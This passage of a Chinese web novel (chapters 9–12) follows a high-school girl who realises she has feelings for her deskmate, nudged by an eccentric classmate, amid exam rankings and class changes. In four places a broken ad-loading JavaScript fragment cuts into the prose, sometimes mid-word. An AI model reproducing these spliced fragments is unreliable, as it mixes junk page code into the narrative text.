出了门,金欢喜在排名榜上找到了付子衿的名字,其实非常不错,位列第三。除了意外杀出重围的黑马蓝燕仪,入学考试的第一名也保住了第二的位置。 这不是完蛋了?金欢喜盯着那三个字,揉了揉太阳穴。付子衿晚上不会在被窝里偷偷哭吧?她虽然看起来对成绩不在意,但骨子里可是自强得要死。 带着担忧,金欢喜转入了尖子班,又和付子衿做了同桌。 最出乎意料的是,换班后坐在她身后的,是一战成名,彻底扬名一中的黑马——蓝燕仪。 “欢喜欢喜,我早就听说过你的名字了!没想到我们这么有缘!” “欢喜欢喜,你听最新的八卦没有?” …… 蓝燕仪此人,在普通班的时候,是个知名文学大佬,到了尖子班,却原形毕露,成了知名话痨。 尖子班里只要是个人就可以看出,她对金欢喜和付子衿很感兴趣,尤其是金欢喜。 而被纠缠的当事人,心情就颇为复杂了。 “欢喜欢喜……” 蓝燕仪用手撑着下巴,百无聊赖,伸出右手,用笔帽轻轻戳了戳金欢喜。 刚好预习完下一章节的金欢喜人生第一次,感到了难言的无奈。 蓝燕仪虽然有时候很烦人,却十分有分寸,每次找她说话,都是卡在她刚好忙完的时候,让她不得不大胆猜想,她是不是在她身上装了监控。 她还没转过身,就见身侧的付子衿忽然停下了手中的笔。 “你是没事做吗?” 她扭头看向蓝燕仪,语气实在算不上温和。 金欢喜身子一顿,也不转身了,竖起耳朵听她们吵。怎么说呢,学习生活枯燥乏味,确实需要一些调味剂。 付子衿态度差,蓝燕仪也不怕她,厚着脸皮地冲她挑了挑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眉,当着她的面又戳了戳金欢喜。 “欢喜欢喜,以后有问题就问我吧。” 俗话说,热闹看多了,火就会烧到自己身上。 金欢喜僵硬地转过身,飞快地瞥了眼神色不明的付子衿,颤颤巍巍地开口:“不用了,子衿会教我的。” 一日为师终身为父,万万不可认他人做父! 话到这里,正常人都知道这是婉拒了,可偏偏,蓝燕仪她还真就不正常,准确来说,是唯恐天下不乱,喜欢火上浇油。 “诶——”她拉长了声音,“我考得不比子衿好?” 真希望有人能治治蓝燕仪这情商时高时低的毛病。金欢喜掩面而泣。 付子衿握紧了拳头,什么也没说,继续刷题。手劲之大,让金欢喜误以为自己就是她笔下的纸张,随时都有可能被笔尖划破。 蓝燕仪乐了,逗完她俩默默观察了一会儿,又趴在桌上无所事事。 有时候,金欢喜觉得蓝燕仪是个怪人,还是说,天才都有怪癖? 没错,蓝燕仪是个天才。月考扬名后,被新闻部采访,据本人所说,以前学习也算努力,但理科普普通通,直到入学考后在理科上茅塞顿开,就成为了这次月考的第一。 新闻一出,高一已经开始流传关于蓝燕仪的传说——在文科上过目不忘,在理科上一点就通。 刚进尖子班的这几天,金欢喜时常感到挫败。像蓝燕仪这样真正的天才,被资质规定了下限不说,上限还一眼望不到头。她想一个难题的入手点要30分钟,蓝燕仪解开难题却只需要10分钟。 从自尊心受挫的不甘到摆烂,只需要一个无法逾越的差距。 金欢喜开摆了,她的老同桌付子衿却是摩拳擦掌,跃跃欲试,日日夜夜刷题,指望着在下一次月考超越蓝燕仪。不仅是为了输掉的赌约,也是为了自尊心。 看着她俩暗搓搓地竞争,金欢喜倒是阴差阳错想通了一件事——她不想找对象应该不是因为喜欢学习。再怎么说,她也不可能像付子衿一样,每天刷题越刷越高兴。她属于那种,刷了两小时就快吐出来,需要缓一会的人。 这个问题,她也问过这两个学习狂魔。 “对你们来说,学习是很快乐的事吗?” 付子衿思索了片刻,比划了一下。 “学习不快乐,但学习之后的成就感让我很快乐。” 蓝燕仪更是变态,她趴在桌子上,从手臂上露出一双眼睛,给出了特别的回答。 “文科很快乐,理科一般。文科让我活着。” 你确实很文科,文到我都听不懂。金欢喜心想。 “你不喜欢学习吗?”付子衿坐在一边,反问。 难道我应该喜欢学习? 金欢喜冥思苦想,最后憋出一句话。 “硬要说的话,我可能只喜欢数学。”因为只有数学能带给她成就感。 付子衿点点头,表示理解:“嗯,你还讨厌英语。” 金欢喜:…… 蓝燕仪哈哈大笑,捧场地鼓了鼓掌,每天最大的乐趣就是看她们随时上演小剧场。 日子本该在刷题中飞逝,但是某天的晚自习,金欢喜收到了来自蓝燕仪的慰问纸条。 “你喜欢付子衿吗?” 9. 碳酸 你喜欢付子衿吗? ? 金欢喜手一抖,下意识捏紧了纸条,而后伸出手,故意撑住脸颊,挡住了付子衿有可能看过来的目光。 她微微撇过头,瞪了一眼蓝燕仪。 蓝燕仪转了转笔,露出了然的笑容。 金欢喜:…… 她后知后觉地意识到,她这动作,不就是说明心里有鬼吗! 苍天可鉴,她从来没想过这件事! 用力在那行字下画了个大大的问号,金欢喜随意地把纸条揉成球丢了回去。 没了纸条,金欢喜恢复原本的坐姿,拿起笔,大脑却是一片空白,一个字都写不下去。 希望那个祖宗千万别把纸条传回来了。 事与愿违,金欢喜很快又收到了一张没有褶皱的新纸条。 “你不喜欢她吗?” 金欢喜下意识看了一眼付子衿。 为什么人在做否定题的时候,会比做肯定题时更果断? 付子衿顿了顿,停下了笔,转头迎上她的视线。 “你们在聊什么?关于我的事?” 从金欢喜抬手挡视线的时候,她就隐隐有所察觉。不过……现在看来,她们聊的事情还不是简单的事情? 金欢喜强装镇定地摆摆手,把纸条压在了手掌下。 看热闹不嫌事大的蓝燕仪还在后头胡乱添柴。 “子衿子衿,这是我和欢喜的秘密。” 蓝燕仪这张嘴啊,一张口就气人! 付子衿一怔,看向金欢喜,难得带上命令的语气。 “给我看看。” 既然是关于她的事情,她应该可以看吧。付子衿不确定地想。 金欢喜猛地摇了摇头,把纸条牢牢攥在手里。 在说她的坏话?付子衿指尖一颤,紧紧盯着她的手心,在她的印象里,金欢喜很少有不配合她的时候,仅有的几次,也是对她叫她“大喜”的抱怨。 沉默的对峙没能持续多久,付子衿突然把身子转了回去。 逃过一劫? 如果没看见她泛红的眼尾,金欢喜还能安慰自己她不在意。 结果……这个小哭包明明在意的要死。 心尖一颤,金欢喜小心翼翼地伸出手勾了勾她的衣角。 付子衿没动,像是在认真做题。 “以后一定告诉你。”她弯下腰,几乎贴在她的腰侧,闻到少女身上的清香的同时,声音缓缓飘入少女耳中。 付子衿咳了一声,坐直了些,拉开距离,轻轻“嗯”了一声。 坐在斜后方的蓝燕仪饶有兴致地看了眼她泛红的耳尖,又看了看贴在她腰侧的金欢喜,开始期待金欢喜的回答。 金欢喜慢吞吞地直起身,把纸条揉成团,在她期待的目光中,把纸条丢进了垃圾袋。 乐子人的笑容顿时消失。 …… 距离高一结束还有六次月考,也就是说,如果第六次金欢喜未能考进年级前四十,她后两年就不能和付子衿做同桌了。 这样一想,如果前五次都能进,第六次没进,岂不是太可怜了? 偏偏时运也是实力的一环。 周考结果出来后,金欢喜在班上又跌了2名,照这个速度跌下去,马上就可以和尖子班说拜拜了。 至于为什么会跌,金欢喜自我反省,认为有最近心烦意乱的影响在。 说起罪魁祸首,自然是每天笑眯眯盯着她的蓝燕仪,根源就是几天前的那张纸条。 等卷子发下来,付子衿抱着她的卷子看了半晌,最后干巴巴地说了句:“不要粗心。” 除了大家都做不出的难题,金欢喜的丢分都集中在简单题上。不会?不,在拿到卷子的那一刻,她就清楚自己错在了哪里。这不是需要巩固基础的问题,而是她的心态发生了变化。 她竟然真的开始在意纸条上的内容。 金欢喜有预感,只要再跨出一步,她永远无法回到原来的世界。 在她发呆的时候,蓝燕仪突然站起身,走到她桌边,轻轻敲了两下她的桌子。 “去不去小卖部?” 金欢喜眨了眨眼睛,还没开口,另一边的人忽而站起身。 “我也要去。” “诶——如果你也去的话,我就告诉她一些以前的事。”蓝燕仪瞥了眼付子衿。 以前? 付子衿站了半晌,坐了回去。 金欢喜还没反应过来,蓝燕仪就拉着她的手,带她走出了教室。 “你之前就认识付子衿?”她先问出了自己最关心的问题。 换班快一个月,蓝燕仪对谁表现得都像是熟人,付子衿反应淡淡,她还以为她们也是第一次认识。 谈起付子衿,蓝燕仪拧眉,不情不愿道:“勉强算认识。” “你……” “等等!”蓝燕仪比了个暂停的手势,指了指前方,小卖部到了。 “先喝瓶可乐怎么样?”她拉着她的手腕,跑进了小卖部。 因为她囔囔着要请客,金欢喜就蹲在门口等她。 “嘶——好冰。” 冰凉的可乐罐蹭到脸上,带来片刻的颤栗,留下几滴水珠。 金欢喜接过冰可乐,在心里为蓝燕仪新增怪癖一条:冷天还喝冰可乐。 天气已经转凉,冬天已经不远了。 “呲啦”一声,蓝燕仪迫不及待地打开了冰可乐,她也不着急,先把可乐放在耳边,听气泡在里头“咕噜咕噜”的翻涌,仿佛喷泉在喷水,犹如一场音乐演出,从繁华到谢幕。 “你在干嘛?”金欢喜抱着可乐罐,好奇地仰起头。 蓝燕仪满足地叹息了一声,反问:“欢喜,你喜欢喝碳酸饮料吗?” 这是一个毫不相干的话题。 “还算喜欢。”金欢喜点了点头,她嗜甜,可乐自然也在范围内,但为了身体着想,她不会天天喝。 “以可乐举例,你喜欢可乐的什么?打开的气泡声?还是咖啡因和糖分带来的兴奋、刺激?” “你找我是为了聊饮料?”金欢喜不解。她以为,她是为了那个问题。 蓝燕仪低头看她,有些苦恼,摇了摇头。 “我和付子衿认识,是在小学。我们不陌生也不熟,勉强算朋友。如果你喜欢她的话,再多考虑一下吧。” “什……我没说我喜欢她。”金欢喜“霍”的一下站起身。 “但是你也没说不喜欢。” 冰凉的可乐贴在她的额头,让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气血上涌的大脑在一瞬间冷静下来。 当局者迷,旁观者清。 蓝燕仪喜欢文字,喜欢观察,喜欢替他人指出不同的选择。 在付子衿和金欢喜身后坐了一个月,除了对付子衿的变化感到惊讶,更让蓝燕仪好奇的是金欢喜的反应。她明明已经快要一脚踏进那条名为“付子衿”的漩涡,竟然还一无所知。 当然,蓝燕仪也不是喜欢揭发别人过去的人。 “你什么意思?” 她只是,偶尔喜欢拯救一下迷路的羔羊。 “付子衿就像碳酸饮料,就像你手里的那瓶可乐。遇见她的时候,你感到好奇。靠近她以后,你会不由自主地想更进一步。我很好奇,这样的喜欢能持续有多久?” 她的一句话里包含的信息量太大,好像什么都没说,好像什么都说了。金欢喜紧紧握着手中的易拉罐,直到手心冻得发痛。 “我不明白,挑拨我和子衿的关系对你而言有什么好处?”什么气泡什么糖分,和付子衿有什么关系? 人生又不是小说,每一步都跌宕起伏。她也不是主角,会碰到奇奇怪怪的人。虽然蓝燕仪是蛮奇怪的。 “哎呀,我说的不够清楚吗?”蓝燕仪走了两步,伸了个懒腰,回头看她,“你不了解她的过去。就像你不知道她为什么对你这么好——诶?别生气别生气,虽然我说中了,但我没有说她不好的意思。或许她是出于真心,但更多应该还是为了自己吧。” 付子衿的过去? 从初中开始,相识四年来,金欢喜偶尔会跟付子衿讲一些自己家里的事情,但从没听付子衿讲过她的家庭。只有传言提到,付子衿家里很有钱。蓝燕仪又是什么意思?付子衿对她有所求?她这么穷,有什么能求的? “打住!”蓝燕仪打断了她逐渐天马行空的幻想,她努努嘴,示意金欢喜看向天空。 以景观闻名的C市,游客络绎不绝,多亏了严格的管控,天空才能继续保持湛蓝。一眼望去,一望无际。 “金欢喜,你在她身边,就只能看得到她。世界很大,不如去更远的地方看一看。” 老生常谈的语调,像是在灌一碗陈年老鸡汤。 “我没说我喜欢她!”兜来转去,又回到最初的答案。 “哦——”蓝燕仪拉长了声音,“那你回去有没有搜索相关的东西?” 比如女生能不能喜欢女生? “没有!” “你没忘记删浏览记录吧?” 金欢喜认真思考了一瞬,摇摇头:“没有。” “哈哈哈……”蓝燕仪笑得有些喘不上气,她用力拍了拍自己的大腿,强行让自己停了下来,严肃了一些,“我是说真的。你多在远处看一看她吧,看看真实的她,再想一想自己的答案。” 她都这样了,金欢喜只能憋出一句:“你……你是喜欢女生吗?” 蓝燕仪举起喝了一半的可乐,向前大步走去。 “是啊。” 过了一会儿,她转过头来,冲她眨了眨眼。 “放心,我喜欢的不是你。” 金欢喜在后头站了一会儿,打开了可乐。 “咕噜咕噜……” 不管冰不冰,都能听见气泡的回应。 10. 原点 夏天的时候,即使顶着36度37度的高温,金欢喜也能面不改色地坐在座位上刷完三套卷子。到了秋天,受各种杂事的影响,在心烦意乱之际,金欢喜再也无法冷静地学习。 我真的喜欢付子衿吗? 怀揣着没有答案的问题,在探索的道路上,现实先给予了她更沉重的一击。 11月末的月考,全校一共457名学生,金欢喜排在第87名。 也就是说,她被踢出了尖子班。 月考结果公布已经过去了三天,这期间金欢喜和付子衿除了题目以外没有任何其他的对话,仅仅是普通地收拾东西,普通地离开,普通地回到普通班。付子衿几次想开口,看见她的表情,欲言又止,最后什么也没说。 和前几次月考一样,尖子班里除了几个稳居前几的学生,有一半的人被再次刷了下来。 蓝燕仪的话,金欢喜听了,放在心里,但并没有特别在意。因为从最开始,她看见的就是付子衿的“现在”,而不是她的“过去”。 综合下来,月考考差有三个原因:一,蓝燕仪的话确实对她产生了影响。二,她确实退步了。三,她还没想明白自己学习是为了什么。 最早的时候,金欢喜住在大山里,在父母口中,走出大山的唯一方法是读书,因此她读书很努力,认为读书是自己唯一到达城市的方法。后来搬到富贵村,她竟然已经实现了最初的梦想——在城里读书,甚至还是市里最好的一所高中。从这时候开始,目标就消失了。 从初中开始,她一路都在被付子衿拽着往前走,跋山涉水几万里,现在回头看,她已经走了很远很远。但真要说起来是为了什么读书,金欢喜说不出。她只是在被付子衿拉着走罢了,也没什么远大的志向,学生的天职不就是学习吗? 实话实说,金欢喜一直对自己有着清晰的认知——她和付子衿的起点不同,终点也绝对不在一处。她也没有自恋到认为付子衿会为了她改志愿的程度,如果付子衿真的改了,反倒证明她们的关系不纯粹。真正的朋友,都希望对方越来越好,而不是希望对方比自己差。 “你们希望我读哪个大学?” 想了很久,金欢喜选择问最疼爱她的妈妈。 前两天金欢喜的月考成绩已经发到了陈宝珠的手机上,比起上回,金欢喜退步了50多名。看到消息的时候,陈宝珠在办公室里坐不住,更没心情在外跑生意,特地请了假在家里待着,怕金欢喜就此一蹶不振。 鸡头凤尾,金欢喜的成绩在其他高中都能排进前五,放在一中,却显得微不足道。陈宝珠有时候脑袋发昏,会想是不是走错了路。 “如果你没有志愿的话,要不要试试C大?”自从开始管理公司以后,陈宝珠心里就清楚,家里的一切最后还是要交给大喜的,虽然大喜现在还不知道家里有多少钱,但她和大富会在高考结束后把家里的一切全都告诉她,这之后,她和大富就会松开手,去享受自己的生活了。 至于读书,她和大富从来不看那些虚的,光读书是吃不饱饭的。更何况,C大也不差,对大喜来说,也是一个挑战。 “C大吗?”金欢喜喃喃自语。 对C市本地的学生而言,除了梦寐以求的A大,最好的选择就是C大,师资资源好,还离家近。金欢喜估摸了一下,之后两年继续努努力,保持这个分数,还是有很大几率能考上的。 但是付子衿……应该会选择A大吧? 她也看了排名,付子衿这次考得不错,全校第二,比第一的蓝燕仪仅仅低10分,上一回蓝燕仪可是拉开第二名20分。听说她为了考好,特地丢下面子找蓝燕仪问了不少问题。可恶!她也想有一天被付子衿问问题。恍惚了一瞬,她又想起蓝燕仪的建议,连忙晃了晃脑袋,把那个名字甩了出去。 蓝燕仪有一点倒没说错,她已经被付子衿影响得太深。难道她一开始就心思不纯?可她之前明明什么都没想过。 到了半夜,金欢喜躺在床上,翻来覆去睡不着。 没了月考的压力,之前刻意忽略的事都一拥而上,挤满了她的脑袋。 以前躺在床上,能听见夏日的雨声与蝉鸣、秋日的风声与鸟叫,现在临近冬日,屋外却静得可怕,“咚咚咚”,不管朝哪边睡,都只能听见自己按耐不住的心跳声。 过了半个小时,金欢喜一个翻身,赤着脚踩在地上,小心翼翼地走到门边。 “吱呀——”她轻轻打开了门。 屋外一片漆黑,她等了一会儿,等眼睛逐渐适应了黑暗,在黯淡的月光下,隐隐能看清道路,才走了出去。 今天金大富没回家,听陈宝珠说,他去外头出差,不能疲劳驾驶,得明天早上赶回来。他们俩最是注重安全,从不让她担心。 蹑手蹑脚地走到爸妈卧室门口,金欢喜屏住了呼吸,把耳朵凑在门上,听里头的声音。 她只有一个目的——偷陈宝珠的手机。 不为别的,就为了想通蓝燕仪说的那些话。一个人的知识量就那么点,再怎么想,也想不到答案,只能集思广益。 听了半天,啥也没听到,反而把自己冻得流鼻涕。金欢喜只能把手放到门把手上,慢慢地往下压。 “吱——” 她吓得一个哆嗦,这不争气的手,抖了吧,给门吓得都叫了。 心里反复念叨、教训了几遍自己的手,金欢喜闭上眼,用力一摁,轻手轻脚地打开了门。 此时已是凌晨1点,金欢喜特意研究过,陈宝珠一般九点多到十点睡觉,这个点正好在熟睡。 你问她为什么这么清楚?因为之前收到蓝燕仪那张意味不明的纸条的时候她已经把这件事干过一次了。一回生,二回熟。 踮起脚尖,金欢喜溜进屋,一眼看见她妈放在床头柜上的手机。还好她妈没睡觉充电的习惯,不然一拔插头,手机一响,她怕是小命不保。捏住手机的两侧,一提,金欢喜又照着进来的样子快速溜出了房间。 站在屋外,打开搜索引 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 擎。 金欢喜先检查了一下历史记录,很好,她上回搜索的“女生能喜欢女生吗”确实删干净了。 她很快输入了自己的新问题:女生怎么判断自己是不是喜欢女生? 第一个跳出来的是付费测试。第二个是男生如何判断女生喜欢自己。金欢喜冷着脸往下翻,总算看到一个无关性别的回答——喜欢别人的几个表现。 1.你会在意她的喜好,观察她喜欢的东西。 勉强符合?但是要了解一个人当然要了解对方喜欢什么。 2.你会留意她的一举一动,第一个站出来帮助她。 诶?虽然符合,但是怎么感觉都是付子衿在帮我? 3.你幻想过和她在一起的未来。 不!我只想过以后可能和付子衿上同一个大学。最多……最多就是以后住在隔壁。 4.你喜欢和对方待在一起。 符合。和付子衿待在一起很舒服。 5.任何事情都能联想到对方。 差不多。但这很正常,我身边最熟的不就是付子衿吗? 6.别看了,当你搜索这个问题的时候,你大概率就是喜欢她。 第六条表现停留在屏幕上,手机的光照得金欢喜的脸惨白。12月初还未离去的深秋,万籁俱寂,她捂着脸,只听见“扑通,扑通”,一声一声,心一点一点,跳得越发得快。 恐惧、慌张、喜悦……种种复杂情绪涌上心头,金欢喜向后一仰,躺在了地上。 被云层遮盖的月亮迈开步子,穿过云层,把自己那点微弱的光撒在了她身上。 金欢喜关上了手机屏幕,呆呆地望着天空。 我喜欢付子衿? 什么时候?为什么? 这个问题无法指望搜索引擎告诉自己。 金欢喜脑子一抽,倒是想到了她爹——她妈舍不得打她,要是她爹知道了,会不会打断她的腿? 书上讲,她爹这样土生土长的庄稼汉子,最是封建,看不得这种事。 完了,她以后指定得被她爹打死。 胡思乱想了一堆破事,给自己找好了不归路,金欢喜开始正视这个问题。 首先,她现在是肯定不会告诉付子衿这件事的。至少也得等到高考结束,等到她看清付子衿的心思。其次,她要不要也冲刺一把A大?金欢喜对自己的实力有数,考上A大的几率很低,能考,但得看运气。最后,前两天蓝燕仪到底想说的是什么?付子衿的过去到底是什么? 当你开始在意一个人的时候,当你开始喜欢一个人的时候,你不仅对她的现在,对她的未来感兴趣,你也会开始思考,她的过去,又有着怎样的故事。坏了,又确诊了。 头脑风暴的同时,屋内传来陈宝珠翻身的声音。 金欢喜赶忙从地上爬起来,重新溜进屋里,照着之前的位置把手机放回原位。 做完这一切,她静悄悄地回到房间,拿湿巾擦了擦黑脚,躺回了床上。 11. 姜太公钓鱼 “喜姐,有人找——是10班的。” 回到7班后,金欢喜渐渐不再强迫自己拼了命去学习,而是克制着,适当地学适当地放松。就这样过了一周,她不再为学习神经紧绷,学习的效果也提高了不少。 对于她的改变,感触最深的是吴华森。特意找了她谈话,说她恢复了灵气,还说了什么“数学是不能缺少灵气与纯粹”的文话。 “来了。” 听到招呼,金欢喜往前面张望了一下,没看见其他人影。只好从教室最里边穿过人群,走到了门边。 许久不见的少女穿着灰色的卫衣,靠在墙边,一动不动地望过来。 金欢喜扶着门框的手一紧,有些迟钝地察觉,她已经很久没见过付子衿。 在搜索引擎那里确定心意以后,金欢喜根本无法面对付子衿。一方面羞愧于自己对朋友生出别样的心思,一方面纠结于该如何面对喜欢的人。为此,她特意在固定自习日请了假,撒谎说自己身体不舒服。 这还是付子衿第一次到7班来找她。被发现了? “身体好点了吗?”对视许久,付子衿憋出了一句话。 “啊,没事,已经没事了。” 她相信了她的谎言,反而使得她更加愧疚。 这只是一个胆小鬼在逃避罢了。 话题本该到此终止,大家好聚好散,再憧憬着下次的相逢,这样见面的时候,还能聊聊不同的趣事。 “跟我出来一下。”但偏偏,付子衿这回就是不按常理出牌。 “诶?” “午休是到一点半,还有一个小时。还是说,你有事?”她紧盯着她的眼睛,一字一句,充斥着压迫感。 金欢喜背后一凉,还没开口,被她用力握住手腕,一路走走停停,拉去了空教室。 这所空教室就是她们平常自习的地方。一中的自习室不少,但使用率极高,有时候会供不应求,常常抢不上。付子衿不知道什么时候在老师那刷满了好感,让老师把节日演出排练室的钥匙给了她。 教室里除了排练道具就剩两张桌子、两把凳子。都是她和付子衿吭哧吭哧搬过来的。除了节日期间要排练的时间,她们几乎天天待在这里,腻在一起。 金欢喜还没来得及好好缅怀缅怀一周没来的自习室,付子衿松开了她的手,背对着她。 “你在躲我?” 直来直去,是她一味的谈话风格。 “没有。” 辩解虽然苍白无力,却是实打实的实话。金欢喜并没有想要躲着她,躲是逃避,她只是在短时间内不知道该怎么面对她。 付子衿冷笑一声,按着她的肩膀一步步靠近,她一步步退,退着退着就坐在了板凳上。 她不会是故意的吧?想法只维持了一瞬。 “我问了,你根本没生病。” 哦豁,一矢中的。 金欢喜想了想,张了张口,不知道怎么说。 如果她想要告诉她这件事,她就不会撒谎。当然,也不会再这里被问倒。没话说,她闭嘴了。再多说一句,指不定这燃油桶就炸了。 “不说话?”她低头看她。 金欢喜仰头,看见她紧咬着唇,脸上除了愤怒,更多的是委屈。 她张开手,抱住她的腰,引着她向前几步,埋在她怀里,呼出了一口气。 或许有点痒,她挣扎了一下。 “我只是还没想好。”掩去自己喜欢她这件事和蓝燕仪说的话,金欢喜将一切如实告知,“我大概……考不……会考C大。” 考不上A大。临到嘴边,还是改了口。我这该死的自尊心! “所以?”付子衿不明所以。 “所以,进不进尖子班,真的重要吗?”她轻轻叹了口气,揭开最后一层布。 从憧憬尖子班到离开尖子班,只需要去过一次尖子班。金欢喜并非是认为尖子班配不上自己,而是认为自己配不上尖子班。尖子班的学习节奏快、学习内容多,不管从哪一点看,都是为了A大服务。 她不适合尖子班。在尖子班待了一个月,不进反退,是最好的证明。 “你……”付子衿的手落在她的背上,稍稍用力,有些哽咽,“可是我在那里。” 金欢喜大概明白当时蓝燕仪想要说的、想要表达的是什么了——付子衿很好,但身边只有她一个朋友。她已经习惯在她身边,习惯和她一起。 怎么会?金欢喜苦笑。真正离不开的人不应该是我吗? 或许付子衿当初真是姜太公钓鱼,无意间下了直钩,而她在水下,透过点点微光,恰好看见了她,自愿上了岸。 付子衿仔细一想,又觉得不对。 “你不想进尖子班,想考C大,为什么不来自习?”只要想上学,就没理由不来自习。 金欢喜试图从她怀里出来,被她紧摁着,反而贴在了卫衣上,只能闷闷道:“我不知道怎么面对你。” 无论从这一点讲,还是从另一点私心讲。 “蓝燕仪和你说了什么?”金欢喜不久前还一心向学,现在变成这样,肯定和蓝燕仪脱不了干系!付子衿抓住了重点。 “啊?”金欢喜一愣,从她怀里挣脱出来,扯住她脸颊的两边,拉了拉,“你在想什么?她请我喝了饮料,叫我好好学习。” 去更远的地方看一看,怎么不算好好学习呢? 她一松手,付子衿揉了揉脸,不敢置信:“她有这么好心?” 蓝燕仪自小脾气古怪,真看上金欢喜了? “你把人家想哪去了?”金欢喜借着桌子站起身,近得可以闻见她发间的清香,她一晃神,又坐回了板凳。 付子衿没有让开道路,反而更进一步,紧贴着她。 “你以后还来自习吗?” “来,当然来。”金欢喜微红着脸,后仰,退开了些。 得到满意的答案,付子衿也礼貌地让开了路,给了她空间站起身。机会难得,她把疑问都问了出来。 “为什么不考A大?” 说来轻松,隐隐有嘲讽的嫌疑。金欢喜理解她的意思,A大是一中学子共同的梦中学府,可以考不上,但不能不想考。 “很多原因,我也经过了深思熟虑。真要说的话,就是不合适。” 有时候,金欢喜觉得自己离付子衿好远。从家世、从学习……即使她真的追逐付子衿到达A大,肯定也无法得到自己想要的结果。 解开了误 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会,把事情在表面上都说了个清楚。两人看了眼墙上的钟表,时间已经走到了13:14。对视一眼,各自快步向自己的教室。 快到教室的时候,金欢喜定睛一看,门口还站了个人——蓝燕仪。 她靠在墙边,像是没睡好,精神萎靡,看见她就像是看到了救星。 “欢喜!你可算回来了。” “你找我有事?”金欢喜迟疑了一会儿。 蓝燕仪抓住她的双手,当即就是一阵声泪俱下的控诉:“你是不知道,你走以后,付子衿那家伙有多烦人,一天天的,问题问都问不完,简直学疯魔了。我真的受不了了!” 啊? 金欢喜安慰似的在她手背上拍了拍。 “没事的没事的,可能过段时间就好了。” “过段时间?”蓝燕仪加大了音量,引得教室里面的同学都好奇地朝外看,“你不在,这一个月我都一眼望得到头!除了学习上的折磨,那家伙还天天逼问我是不是对你做了什么!我真的要崩溃了!你能不能回来!” 回来?金欢喜抽了抽嘴角。我刚刚才帅气地告诉付子衿我以后要考C大,大概不会待在尖子班了,你现在叫我回来? 蓝燕仪瞅了两眼她的表情,明白了她的意思——不回。她摊开手,像是下定了某种决心。 “下一次月考是不是就是这学期的最后一次了?” 金欢喜点了点头。虽然之后还有期末考,但并不会改变尖子班成员的分布情况。 “好!没事,我已经想到办法了。”蓝燕仪露出微妙的笑容,一看快要上课了,马上溜回了教室。 只留下一脸茫然的金欢喜,看着她的背影越来越远。 想到办法了? 不知道为什么,心里突然阵阵发凉。蓝燕仪不会整出什么幺蛾子吧? 就这样,在悠哉悠哉的学习中,12月末的月考结束了。为了能够及时公布考试结果,学校还特意提前几天开展考试,就是为了在元旦放假之前把月考成绩公布出来,让学生在假期也能“好好”学习。 在这期间,金欢喜也信守承诺,每天都去自习室和付子衿一块学习。不过她们备考的方向不同,交流也少了不少。 至于蓝燕仪…… “你怎么会在这儿?”金欢喜从办公室替老师搬了卷子回来,还没来得及去看成绩排名,就看见蓝燕仪坐在了她身后。 这个世界一定是颠了。 “喜姐!喜姐!最新排名!”她们班的万事通又扯着两张纸过来了。 金欢喜的视线先落在第一行。 第1名,付子衿。 她又向下看,连跳好几行,看见自己和蓝燕仪的名字。 第47名,金欢喜。 第51名,蓝燕仪。 “你故意考差?”金欢喜瞪大了眼睛,吃惊地看向蓝燕仪。她是不信蓝燕仪会考得比她差的。 蓝燕仪嘿嘿一笑,试图转移话题。 然而,此时的金欢喜什么也听不见。完了,她甚至可以猜想到付子衿的反应——最起码也得是怒气冲冲地到教室来。 “喜姐,有人找——是10班的。” 这世界,怕不是一个巨大的轮回。 12. 我心永恒 “你们商量好的?”付子衿气势汹汹地站在门口,看见金欢喜,又往里头张望了一眼。有一个算一个,都别想蒙混过关。 金欢喜靠在门边,还没理清思路,先安抚了她两句。 “别生气别生气,下午不是还有汇演吗?我先叫她出来。” 明天开始就是元旦假期,学校打得一手好算盘,上午公布成绩,搓搓学生的锐气,下午元旦汇演,涨涨学生的士气。金欢喜是真怕她不高兴到在汇演上暗搓搓地弹首内涵她俩的曲子。 瞧瞧蓝燕仪这干的是什么事!竟然一声不吭就到她这了。重点是还把火烧在她身上,她冤枉啊! “不用叫,不用叫,我在。”蓝燕仪从墙后探出一个脑袋,也没出来,躲在金欢喜身后,可惜个子稍微高了点,没被遮全。 被身后的人揪住了背上衣服的两处,金欢喜直挺挺地站在原地,倒是对蓝燕仪的害怕有了新的认知。 不久前蓝燕仪还能出言嘲讽付子衿,过了一个月,竟然恨不得消失在付子衿面前。她都不知道是她们俩谁的问题。 “蓝燕仪,你是不是故意考差的?” 对付子衿而言,这个第一名像是被施舍得到的。 蓝燕仪梗着脖子,从金欢喜肩上露出两只眼睛,小声反驳:“我只是想来七班,我有什么错。”要怪,就怪学校这死板的制度,竟然不许她私下转班。 付子衿气得发抖,金欢喜连忙扯开身后的两只手,上前拍了拍她的后背:“莫生气莫生气,我一定好好教训她。” “哼。”付子衿扭过头,不看她俩,“你们就是一伙的。” “那你说个要求,我们照做。”蓝燕仪一步步跟在金欢喜身后,像个需要庇护的小鸡崽。 我们? 金欢喜确信,她可能上辈子得罪了蓝燕仪,这辈子才碰到这么个祖宗。 “元旦……出去玩。”眼前的少女犹豫半晌,还是小声说出了自己的要求。 蓝燕仪高兴地拍拍手:“好,那我们就去爬山。” “爬山?为什么要去爬山?”金欢喜头上缓缓冒出一个问号。大家出去玩,不是一起去吃饭,就是一起去逛街。爬山?你当这是旅游呢? 蓝燕仪揽着她的肩,意味深长地眺望着天空。 “最近没什么灵感,我们应该多出去走走。” 金欢喜知道,她私底下在写小说。整了半天,也是为了自己呗? “行。”苦主倒不在意这一点,“刚好天天刷题,刷得腰酸背痛,爬山是锻炼身体,正好。” “你们真的爬过山吗?”金欢喜站在中间,像是夹心饼干中间的馅儿,只能依附在饼干片上。 “没啊。”两人异口同声,神情天真。 生于大山,长于大山,金欢喜比任何人都明白——山不是用嘴爬的,大山会征服每一个小瞧它的人和嘴硬的人!她不说话了,就等着她俩到时候喊苦喊累。 得到补偿,付子衿慢悠悠地走了,临走时还提着蓝燕仪的耳朵一遍遍叮嘱她,下一次要认真考试,拿出真本事。 等她走远了,蓝燕仪萎靡地站在原地,向金欢喜吐槽:“不知道为什么,感觉付子衿像我妈一样烦人。” 